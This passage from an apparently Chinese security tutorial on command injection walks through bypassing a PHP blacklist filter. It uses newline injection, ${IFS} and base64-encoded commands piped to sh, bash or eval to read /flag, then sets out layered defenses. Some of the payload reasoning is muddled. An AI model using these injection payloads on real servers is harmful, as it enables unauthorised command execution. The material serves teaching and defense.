/flag进行base64编码得到Y2F0IC9mbGFnCg。然后构造127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d|sh。echo${IFS}Y2F0IC9mbGFnCg输出编码后的字符串。|base64${IFS}-d通过管道传给base64命令解码。|sh再通过管道传给shell执行。但是sh可能在黑名单我们可以用bash或者更通用的.source命令或反引号。最终Payload可以优化为host127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d这里反引号会执行其内部命令的输出。我们发送这个Payload第一层过滤会删除%0a吗不会因为str_replace只删除了字面上的空格、;、|、%0a是URL编码PHP在$_POST中会自动解码为换行符然后str_replace处理的是换行符字符不在删除列表里所以保留。黑名单正则匹配的是$host变量我们的cat命令是base64编码后的Y2F0...不包含cat字面字符所以绕过。最终Payload与执行将上述Payload作为host参数以POST形式提交。后端处理流程收到host127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d。PHP解码%0a为换行符得到127.0.0.1\necho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d。str_replace删除空格、;、|、。这里没有这些字符的直接出现${IFS}不是空格字符是变量|在反引号内部可能不会被处理这取决于str_replace是在反引号展开前还是展开后执行。实际上str_replace先执行它看到的字符串中的|会被删除。所以我们需要避免使用会被删除的字符。修正Payload使用$()代替反引号并且避免管道符|。使用$()和不用管道符的方案127.0.0.1%0a$(echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d)。这里还是有|。我们可以把整个命令放在$()里但需要另一个命令来执行解码后的结果。可以用eval127.0.0.1%0aeval$(echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d)。但eval可能也被过滤。更稳妥的方案利用Bash的内置功能。$(command)会执行命令。我们可以用bash -c来执行解码后的字符串127.0.0.1%0abash${IFS}-c${IFS}$(echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d)。但这里双引号和管道符还是有问题。最终一个能绕过这个特定过滤的可行Payload可能需要多次尝试和变形。例如发现它只过滤了一次我们可以用双写绕过|||被删除一个|后还剩一个。或者完全避免使用被过滤的字符127.0.0.1%0aX$Y2F0IC9mbGFnCg%0abash${IFS}-c${IFS}\$(echo${IFS}\$X|base64${IFS}-d)这里用了$...的bash字符串格式并用反斜杠转义了$和空格变量使其在第一次字符串处理时不被解释。这需要你对shell解析顺序有深刻理解。这个案例展示了绕过是一个迭代和思考的过程需要根据实际的过滤逻辑灵活组合各种技巧。没有一成不变的Payload。6. 防御方案从开发到运维的纵深防御理解了攻击才能更好地防御。防御命令执行漏洞需要多层次、纵深的方法。1. 开发阶段治本之策避免使用危险函数是最根本的方法。寻找不需要调用Shell命令的替代方案。例如用PHP的file_get_contents()代替cat用scandir()代替ls。使用安全的API如果必须执行命令使用那些允许参数列表而非字符串拼接的函数。Python:使用subprocess.run([‘ls’, ‘-l’, ‘/home’])而非subprocess.run(‘ls -l /home’, shellTrue)。Java:使用ProcessBuilder并传入参数列表。PHP:使用escapeshellarg()或escapeshellcmd()对参数进行转义但要注意它们并非银弹在复杂情况下可能被绕过。更好的做法是使用proc_open()并仔细控制参数。白名单验证对用户输入进行严格的白名单验证。例如对于ping功能的IP参数只允许数字和点还需要验证IP格式的有效性。对于文件名只允许字母、数字、下划线和点。最小权限原则运行Web服务的进程如www-data, nobody应该使用尽可能低的系统权限避免其拥有执行高危命令或写入关键目录的能力。2. 部署与运维阶段WAFWeb应用防火墙部署WAF可以拦截大量已知的攻击Payload和模糊测试请求。但需知WAF是缓解措施而非根本解决方案且可能被绕过。系统强化禁用危险函数在PHP配置php.ini中通过disable_functions禁用system,exec,shell_exec,passthru,popen,proc_open等函数。使用受限制的Shell如果应用必须执行某些命令可以配置一个受限制的Shellrbash或使用工具如sudo配置仅允许运行特定的、无害的命令。容器化与沙箱将应用运行在容器或沙箱环境中限制其能访问的系统资源和命令。日志与监控启用详细的命令执行日志并设置实时告警。监控进程树查看是否有非常规的Web子进程如bash, sh, nc被启动。3. 安全测试SAST静态应用安全测试在代码层面扫描危险函数的使用。DAST动态应用安全测试与IAST交互式应用安全测试对运行中的应用进行黑盒或灰盒测试模拟攻击者行为发现命令注入等漏洞。定期渗透测试由专业安全人员模拟真实攻击检验整体防御体系的有效性。命令执行漏洞的攻防是一场永不停歇的博弈。作为开发者应坚守安全编码原则从源头杜绝漏洞作为安全人员需不断钻研新的绕过技巧以攻促防。希望这篇超过五千字的解析能为你建立起关于命令执行漏洞从原理到实战的完整知识框架。记住所有技术都应在法律和道德的框架内使用我们的共同目标是让网络空间更加安全。
 获取与实战)
双梁正问题 【 torch 实战】（Python代码实现）)
